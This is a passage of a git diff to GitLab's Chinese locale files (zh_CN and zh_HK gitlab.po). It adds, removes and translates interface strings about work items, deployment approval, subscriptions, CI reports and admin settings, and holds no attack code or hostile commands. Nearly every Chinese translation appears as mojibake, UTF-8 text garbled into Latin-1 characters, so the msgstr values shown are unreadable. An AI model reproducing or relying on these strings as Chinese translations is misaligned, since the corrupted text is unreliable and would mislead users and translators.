msgstr "此工作项ä¸å¯ç”¨ã€‚它å¯èƒ½ä¸å­˜åœ¨ï¼Œæˆ–者您没有查看它的æƒé™ã€‚"
@@ -46689,7 +47399,7 @@ msgid "WorkItem|Undo"
msgstr "撤消"
msgid "WorkItem|View current version"
-msgstr ""
+msgstr "查看当å‰ç‰ˆæœ¬"
msgid "WorkItem|Work Items"
msgstr "工作事项"
@@ -46719,7 +47429,7 @@ msgid "Write a description or drag your files here…"
msgstr "写下æ述或将您的文件拖到此处…"
msgid "Write a description..."
-msgstr ""
+msgstr "写一个æè¿°..."
msgid "Write a description…"
msgstr "写说明..."
@@ -46779,6 +47489,9 @@ msgstr "您将è¦åˆ é™¤æ­¤æ´¾ç”Ÿé¡¹ç›®ï¼Œå…¶ä¸­åŒ…å«ï¼š"
msgid "You are about to delete this project containing:"
msgstr "您将è¦åˆ é™¤æ­¤é¡¹ç›®ï¼Œå…¶ä¸­åŒ…å«ï¼š"
+msgid "You are about to incur additional charges"
+msgstr "您å³å°†äº§ç”Ÿé¢å¤–费用"
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "您å³å°†æŠŠå¸æˆ·æŽ§åˆ¶æƒè½¬ç§»åˆ°%{group_name}群组。此æ“作ä¸å¯æ’¤æ¶ˆï¼Œè½¬ç§»å®ŒæˆåŽï¼Œæ‚¨å°†æ— æ³•è®¿é—®%{group_name}以外的任何群组和项目。"
@@ -46888,10 +47601,10 @@ msgid "You are trying to upload something other than an image. Please upload a .
msgstr "您正在å°è¯•ä¸Šä¼ éžå›¾ç‰‡æ–‡ä»¶ã€‚请上传.pngã€.jpgã€.jpegã€.gifã€.bmpã€.tiff或.ico。"
msgid "You can %{gitlabLinkStart}resolve conflicts on GitLab%{gitlabLinkEnd} or %{resolveLocallyStart}resolve them locally%{resolveLocallyEnd}."
-msgstr ""
+msgstr "您å¯ä»¥%{gitlabLinkStart}在 GitLab 上解决冲çª%{gitlabLinkEnd} 或 %{resolveLocallyStart}本地解决%{resolveLocallyEnd}。"
msgid "You can %{resolveLocallyStart}resolve them locally%{resolveLocallyEnd}."
-msgstr ""
+msgstr "您å¯ä»¥%{resolveLocallyStart}在本地解决它%{resolveLocallyEnd}。"
msgid "You can adjust rules on auto-banning %{link_start}here%{link_end}."
msgstr "您å¯ä»¥%{link_start}在此处%{link_end}调整自动å°ç¦çš„规则。"
@@ -46911,9 +47624,6 @@ msgstr "您也å¯ä»¥æŒ‰âŒ˜-Enter"
msgid "You can also star a label to make it a priority label."
msgstr "å¯ä»¥é€šè¿‡ä¸ºæ ‡è®°è®¾ç½®æ˜Ÿæ ‡æ¥æ高其优先级。"
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "您å¯ä»¥åœ¨ %{lint_link_start}CI Lint%{lint_link_end} 中测试 %{gitlab_ci_yml}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "您还å¯ä»¥æŒ‰ç…§ä»¥ä¸‹è¯´æ˜Žä»Žè®¡ç®—机中上传现有文件。"
@@ -47004,6 +47714,9 @@ msgstr "您å¯ä»¥é‚€è¯·ä¸€ä¸ªæ–°æˆå‘˜åŠ å…¥%{project_name}。"
msgid "You can invite another group to %{project_name}."
msgstr "您å¯ä»¥é‚€è¯·å¦ä¸€ä¸ªç¾¤ç»„加入%{project_name}。"
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "å¯ä»¥ä½¿ç”¨æ–¹å‘键移动图形。"
@@ -47043,9 +47756,6 @@ msgstr "您å¯ä»¥è®¾ç½®ä½œä¸šä»…使用具有特定标签的Runner。用逗å·åˆ†
msgid "You can specify notification level per group or per project."
msgstr "您å¯ä»¥æŒ‡å®šæ¯ä¸ªç¾¤ç»„或æ¯ä¸ªé¡¹ç›®çš„通知级别。"
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "您也å¯ä»¥é€šè¿‡%{linkStart}Lint%{linkEnd}测试.gitlab-ci.yml."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr "您å¯ä»¥æŸ¥çœ‹æºä»£ç æˆ–%{linkStart}%{cloneIcon}克隆仓库%{linkEnd}"
@@ -47061,8 +47771,8 @@ msgstr "您ä¸èƒ½è®¿é—®åŽŸå§‹æ–‡ä»¶ã€‚请ç¨å€™ã€‚"
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr "您ä¸èƒ½æ·»åŠ æ›´å¤šçš„å²è¯—。这个å²è¯—å·²ç»æœ‰äº†æœ€å¤§æ•°é‡çš„å­å²è¯—。"
-msgid "You cannot approve your own deployment."
-msgstr "您ä¸èƒ½æ‰¹å‡†æ‚¨è‡ªå·±çš„部署。"
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
+msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
msgstr "您ä¸èƒ½å°† replace_ids 与 add_ids 或 remove_ids 结åˆä½¿ç”¨"
@@ -47101,7 +47811,7 @@ msgid "You could not create a new trigger."
msgstr "您无法创建新的触å‘器。"
msgid "You do not have access to any projects for creating incidents."
-msgstr ""
+msgstr "您没有æƒé™è®¿é—®ä»»ä½•ç”¨äºŽåˆ›å»ºäº‹ä»¶çš„项目。"
msgid "You do not have any subscriptions yet"
msgstr "您当å‰å°šæœªè®¢é˜…任何计划"
@@ -47154,11 +47864,11 @@ msgstr "您没有任何开å¯çš„åˆå¹¶è¯·æ±‚"
msgid "You don't have any recent searches"
msgstr "您没有任何近期的æœç´¢"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
-msgstr "您无æƒæŸ¥çœ‹æ­¤éƒ¨ç½²ã€‚è”系项目或群组所有者寻求帮助。"
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
+msgstr "您无æƒæ‰¹å‡†æ­¤éƒ¨ç½²ã€‚è”系项目或群组所有者寻求帮助。"
msgid "You don't have permission to view this epic"
-msgstr ""
+msgstr "您没有æƒé™æŸ¥çœ‹è¿™ä¸ªå²è¯—。"
msgid "You don't have permissions to create this project"
msgstr "您无æƒåˆ›å»ºé¡¹ç›®"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] "您有 %{pendingMembersCount} 个待处ç†æˆå‘˜éœ€è¦æ‰¹å‡†ã€‚"
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "你已被授予 %{access_level} 访问 %{source_link} %{source_type} çš„æƒé™ã€‚"
@@ -47222,7 +47935,7 @@ msgid "You have insufficient permissions to create an on-call schedule for this
msgstr "您没有足够的æƒé™æ¥åˆ›å»ºæ­¤é¡¹ç›®çš„待命计划"
msgid "You have insufficient permissions to manage alerts for this project"
-msgstr ""
+msgstr "您没有足够的æƒé™ç®¡ç†æ­¤é¡¹ç›®çš„警报"
msgid "You have insufficient permissions to manage resource links for this incident"
msgstr "您没有足够的æƒé™æ¥ç®¡ç†æ­¤äº‹ä»¶çš„资æºé“¾æŽ¥"
@@ -47299,6 +48012,9 @@ msgstr "必须拥有维护者æƒé™æ‰èƒ½å¼ºåˆ¶åˆ é™¤é”"
msgid "You must provide a valid current password"
msgstr "您必须æ供一个有效的当å‰å¯†ç "
+msgid "You must provide at least one filter argument for this query"
+msgstr "您必须为此查询æ供至少一个过滤å‚æ•°"
+
msgid "You must provide your current password in order to change it."
msgstr "您必须æ供当å‰å¯†ç æ‰èƒ½è¿›è¡Œæ›´æ”¹ã€‚"
@@ -47452,8 +48168,9 @@ msgstr "您已ç»ä½¿ç”¨ä¸€æ¬¡å¯†ç éªŒè¯å™¨å¯ç”¨äº†åŒé‡è®¤è¯ã€‚如果您è¦
msgid "You've rejected %{user}"
msgstr "您拒ç»äº† %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] "您已æˆåŠŸè´­ä¹°äº† %{quantity} 个用户席ä½æ•°çš„ %{plan} 订阅,您将收到一å°ç”µå­é‚®ä»¶æ”¶æ®ã€‚如果您的订阅细节尚未显示,您的购买å¯èƒ½éœ€è¦ä¸€åˆ†é’Ÿæ—¶é—´æ‰èƒ½åŒæ­¥ï¼Œåˆ·æ–°é¡µé¢ã€‚"
msgid "YouTube"
msgstr "YouTube"
@@ -47474,7 +48191,7 @@ msgid "Your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{nam
msgstr "您为%{strong}%{namespace_name}%{strong_close}的%{strong}%{plan_name}%{strong_close}订阅将于%{strong}%{expires_on}%{strong_close}到期。"
msgid "Your CI/CD configuration syntax is invalid. Select the Validate tab for more details."
-msgstr ""
+msgstr "您的 CI/CD é…置语法无效。选择验è¯é€‰é¡¹å¡äº†è§£æ›´å¤šè¯¦æƒ…。"
msgid "Your CSV export has started. It will be emailed to %{email} when complete."
msgstr "CSV导出已ç»å¼€å§‹ã€‚完æˆåŽå°†å‘é€ç”µå­é‚®ä»¶è‡³%{email}。"
@@ -47510,7 +48227,7 @@ msgid "Your GitLab group"
msgstr "您的GitLab群组"
msgid "Your GitLab instance allows anyone to register for an account, which is a security risk on public-facing GitLab instances. You should deactivate new sign ups if public users aren't expected to register for an account."
-msgstr ""
+msgstr "您的 GitLab 实例å…许任何人注册一个å¸æˆ·ï¼Œé¢å‘公众的 GitLab 实例存在安全风险。如果ä¸å¸Œæœ›å…¬ä¼—用户注册å¸æˆ·ï¼Œæ‚¨åº”该åœç”¨æ–°çš„注册。"
msgid "Your Groups"
msgstr "您的群组"
@@ -47690,17 +48407,20 @@ msgstr "您的消æ¯æ˜¾ç¤ºäºŽæ­¤"
msgid "Your name"
msgstr "您的åå­—"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr "您的命å空间 %{namespace_name} 已达到 %{free_limit} 用户é™åˆ¶"
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr "您的命å空间 %{namespace_name} 超过了 %{free_limit} 用户é™åˆ¶ï¼Œå·²è¢«ç½®äºŽåªè¯»çŠ¶æ€ã€‚"
msgid "Your namespace %{namespace_name} is over the %{free_user_limit} user limit"
-msgstr ""
+msgstr "您的命å空间 %{namespace_name} 超过了 %{free_user_limit} 用户é™åˆ¶"
msgid "Your namespace is over the user and storage limits and has been placed in a read-only state."
-msgstr ""
+msgstr "您的命å空间超过了用户和存储é™åˆ¶ï¼Œå·²è¢«ç½®äºŽåªè¯»çŠ¶æ€ã€‚"
msgid "Your namespace is over the user limit and has been placed in a read-only state."
-msgstr ""
+msgstr "您的命å空间超过了用户é™åˆ¶ï¼Œå·²è¢«ç½®äºŽåªè¯»çŠ¶æ€ã€‚"
msgid "Your new %{accessTokenType}"
msgstr "您的新 %{accessTokenType}"
@@ -47717,8 +48437,8 @@ msgstr "您的密ç "
msgid "Your password reset token has expired."
msgstr "您的密ç é‡ç½®ä»¤ç‰Œå·²è¿‡æœŸã€‚"
-msgid "Your personal access token has expired"
-msgstr "您的个人访问令牌已过期"
+msgid "Your personal access tokens have expired"
+msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr "您的个人访问令牌将在 %{days_to_expire} 天或更短的时间内到期"
@@ -47793,6 +48513,9 @@ msgstr "您的更新失败。当拖放到现有设计时,您必须上传具有
msgid "Your username is %{username}."
msgstr "您的用户å是%{username}。"
+msgid "Your work"
+msgstr "你的工作"
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47860,7 +48583,7 @@ msgid "[Redacted]"
msgstr "[Redacted]"
msgid "[Supports GitLab-flavored markdown, including quick actions]"
-msgstr ""
+msgstr "[æ”¯æŒ GitLab-flavered markdown,包括快速æ“作]"
msgid "`end_time` should not exceed one month after `start_time`"
msgstr "`end_time` ä¸åº”超过 `start_time` åŽçš„一个月"
@@ -47991,6 +48714,9 @@ msgstr "åªèƒ½åŒ…å«å°å†™å­—æ¯ã€æ•°å­—和“_â€ã€‚"
msgid "can not be changed for existing notes"
msgstr "无法更改现有备注"
+msgid "can not be changed to %{new_type}"
+msgstr "ä¸èƒ½æ”¹æˆ %{new_type}"
+
msgid "can not be set for this resource"
msgstr "无法为此资æºè®¾ç½®"
@@ -48037,7 +48763,7 @@ msgid "cannot be associated with both a Group and a Project"
msgstr "ä¸èƒ½åŒæ—¶ä¸Žç¾¤ç»„和项目相关è”"
msgid "cannot be blank"
-msgstr ""
+msgstr "ä¸èƒ½ä¸ºç©º"
msgid "cannot be changed"
msgstr "无法更改"
@@ -48093,11 +48819,11 @@ msgstr[0] "å˜æ›´"
msgid "check"
msgid_plural "checks"
-msgstr[0] ""
+msgstr[0] "检查"
msgid "checklist item"
msgid_plural "checklist items"
-msgstr[0] ""
+msgstr[0] "检查清å•é¡¹"
msgid "ciReport|%{criticalStart}critical%{criticalEnd}, %{highStart}high%{highEnd} and %{otherStart}others%{otherEnd}"
msgstr "%{criticalStart}critical%{criticalEnd}ã€%{highStart}high%{highEnd} å’Œ%{otherStart}其他%{otherEnd}"
@@ -48160,10 +48886,10 @@ msgid "ciReport|%{scanner} detected no new %{vulnStr}"
msgstr "%{scanner} 未检测到新的 %{vulnStr}"
msgid "ciReport|%{scanner} detected no new potential vulnerabilities"
-msgstr ""
+msgstr "%{scanner} 未检测到新的潜在æ¼æ´ž"
msgid "ciReport|%{scanner}: Loading resulted in an error"
-msgstr ""
+msgstr "%{scanner}:加载导致错误"
msgid "ciReport|: Loading resulted in an error"
msgstr ": 加载导致错误"
@@ -48223,11 +48949,14 @@ msgstr "集群镜åƒæ‰«æ"
msgid "ciReport|Code Quality"
msgstr "Code Quality"
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr "Code Quality 加载结果失败"
-msgid "ciReport|Code Quality test metrics results are being parsed"
-msgstr "æ­£åœ¨è§£æž Code Quality 测试指标结果"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr "Code Quality 没有å˜æ›´ã€‚"
+
+msgid "ciReport|Code Quality is loading"
+msgstr "Code Quality 正在加载"
msgid "ciReport|Code quality degraded due to 1 new issue"
msgid_plural "ciReport|Code quality degraded due to %d new issues"
@@ -48319,7 +49048,7 @@ msgid "ciReport|Found %{issuesWithCount}"
msgstr "找到%{issuesWithCount}"
msgid "ciReport|Full report"
-msgstr ""
+msgstr "完整报告"
msgid "ciReport|Generic Report"
msgstr "通用报告"
@@ -48376,9 +49105,6 @@ msgstr "新增"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr "æ–°æ¼æ´žæ˜¯å®‰å…¨æ‰«æ在åˆå¹¶è¯·æ±‚中检测到的,与默认分支中的现有æ¼æ´žä¸åŒçš„æ¼æ´žã€‚"
-msgid "ciReport|No changes to Code Quality."
-msgstr "Code Quality æ— å˜åŒ–。"
-
msgid "ciReport|No changes to code quality"
msgstr "代ç è´¨é‡æ— å˜åŒ–"
@@ -48496,7 +49222,7 @@ msgstr "评论 %{link_to_project}"
msgid "commit"
msgid_plural "commits"
-msgstr[0] ""
+msgstr[0] "æ交"
msgid "commit %{commit_id}"
msgstr "æ交 %{commit_id}"
@@ -48832,7 +49558,7 @@ msgid "is already linked to this vulnerability"
msgstr "å·²ç»ä¸Žæ­¤æ¼æ´žå…³è”"
msgid "is already present in ancestors"
-msgstr ""
+msgstr "已存在于上级中"
msgid "is an invalid IP address range"
msgstr "是无效的 IP 地å€èŒƒå›´"
@@ -48855,9 +49581,6 @@ msgstr "ä¸æ˜¯"
msgid "is not a descendant of the Group owning the template"
msgstr "相关群组ä¸å«æ¨¡ç‰ˆ"
-msgid "is not a valid URL."
-msgstr "ä¸æ˜¯æœ‰æ•ˆçš„ URL。"
-
msgid "is not a valid X509 certificate."
msgstr "ä¸æ˜¯æœ‰æ•ˆçš„X509è¯ä¹¦ã€‚"
@@ -48874,10 +49597,10 @@ msgid "is not allowed since the group is not top-level group."
msgstr "ä¸å…许,因为该群组ä¸æ˜¯é¡¶çº§ç¾¤ç»„。"
msgid "is not allowed to add this type of parent"
-msgstr ""
+msgstr "ä¸å…许添加这ç§çˆ¶ç±»åž‹"
msgid "is not allowed to point to itself"
-msgstr ""
+msgstr "ä¸å…许指å‘自己。"
msgid "is not allowed. Please use your regular email address."
msgstr "ä¸å…许。请使用您的常规电å­é‚®ä»¶åœ°å€ã€‚"
@@ -48889,7 +49612,7 @@ msgid "is not in the member group"
msgstr "ä¸åœ¨æˆå‘˜ç»„"
msgid "is not one of"
-msgstr ""
+msgstr "ä¸æ˜¯å…¶ä¸­ä¹‹ä¸€"
msgid "is not the member project"
msgstr "ä¸åœ¨æˆå‘˜é¡¹ç›®"
@@ -48898,7 +49621,7 @@ msgid "is not valid. The iteration group has to match the iteration cadence grou
msgstr "无效。迭代群组必须与迭代周期组匹é…。"
msgid "is one of"
-msgstr ""
+msgstr "其中之一"
msgid "is read-only"
msgstr "åªè¯»"
@@ -49367,8 +50090,11 @@ msgstr "必须与群组或项目相关è”"
msgid "must be greater than start date"
msgstr "必须大于开始日期"
+msgid "must be in ISO 8601 format"
+msgstr "必须是 ISO 8601 æ ¼å¼"
+
msgid "must be in same hierarchy as custom role's namespace"
-msgstr ""
+msgstr "必须与自定义角色的命å空间处于åŒä¸€å±‚次结构中"
msgid "must be inside the fork network"
msgstr "必须在派生(fork)网络内"
@@ -49383,7 +50109,7 @@ msgid "must be unique by status and elapsed time within a policy"
msgstr "必须在策略中的状æ€å’Œç»è¿‡æ—¶é—´ä¸Šæ˜¯å”¯ä¸€çš„"
msgid "must belong to same project of its requirement object."
-msgstr ""
+msgstr "必须属于需求对象所在的åŒä¸€é¡¹ç›®ã€‚"
msgid "must belong to same project of the work item."
msgstr "必须属于工作项所在的åŒä¸€é¡¹ç›®ã€‚"
@@ -49454,12 +50180,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item},和 %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr "åªæœ‰ %{parent_types} å¯ä»¥æ˜¯ä»»åŠ¡çš„上级。"
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr "åªæœ‰ä»»åŠ¡å¯ä»¥è¢«åˆ†é…为层次结构中的å­é¡¹ã€‚"
-
msgid "only available on top-level groups."
msgstr "åªèƒ½åœ¨æœ€é¡¶çº§ç¾¤ç»„中使用。"
@@ -49584,7 +50304,7 @@ msgid "reCAPTCHA site key"
msgstr "reCAPTCHA 公钥"
msgid "reached maximum depth"
-msgstr ""
+msgstr "达到最大深度"
msgid "recent activity"
msgstr "最近活动"
@@ -49641,7 +50361,7 @@ msgstr "基于角色的访问级别ä¸åŒ¹é…æˆå‘˜çš„访问级别"
msgid "rule"
msgid_plural "rules"
-msgstr[0] ""
+msgstr[0] "规则"
msgid "running"
msgstr "è¿è¡Œä¸­"
@@ -49864,6 +50584,9 @@ msgstr "“%{storage}â€çš„值必须在 0 到 100 之间"
msgid "verify ownership"
msgstr "验è¯æ‰€æœ‰æƒ"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "版本 %{versionIndex}"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index 97afc4b28f0..4fb57c60a96 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -659,6 +659,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1010,10 +1023,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} å¯ç”¨"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,8 +1418,8 @@ msgid_plural "%d roles"
msgstr[0] "%d 個角色"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "%{num} 個用戶"
+msgid_plural "%d users"
+msgstr[0] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1633,6 +1642,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1777,9 +1789,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1828,9 +1837,6 @@ msgstr "å­˜å–憑證 (access token)"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,7 +1996,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2446,15 +2455,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2536,9 +2548,18 @@ msgstr "åœæ­¢ä»»å‹™"
msgid "AdminArea|Stopping jobs failed"
msgstr "åœæ­¢ä»»å‹™å¤±æ•—"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4273,15 +4312,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
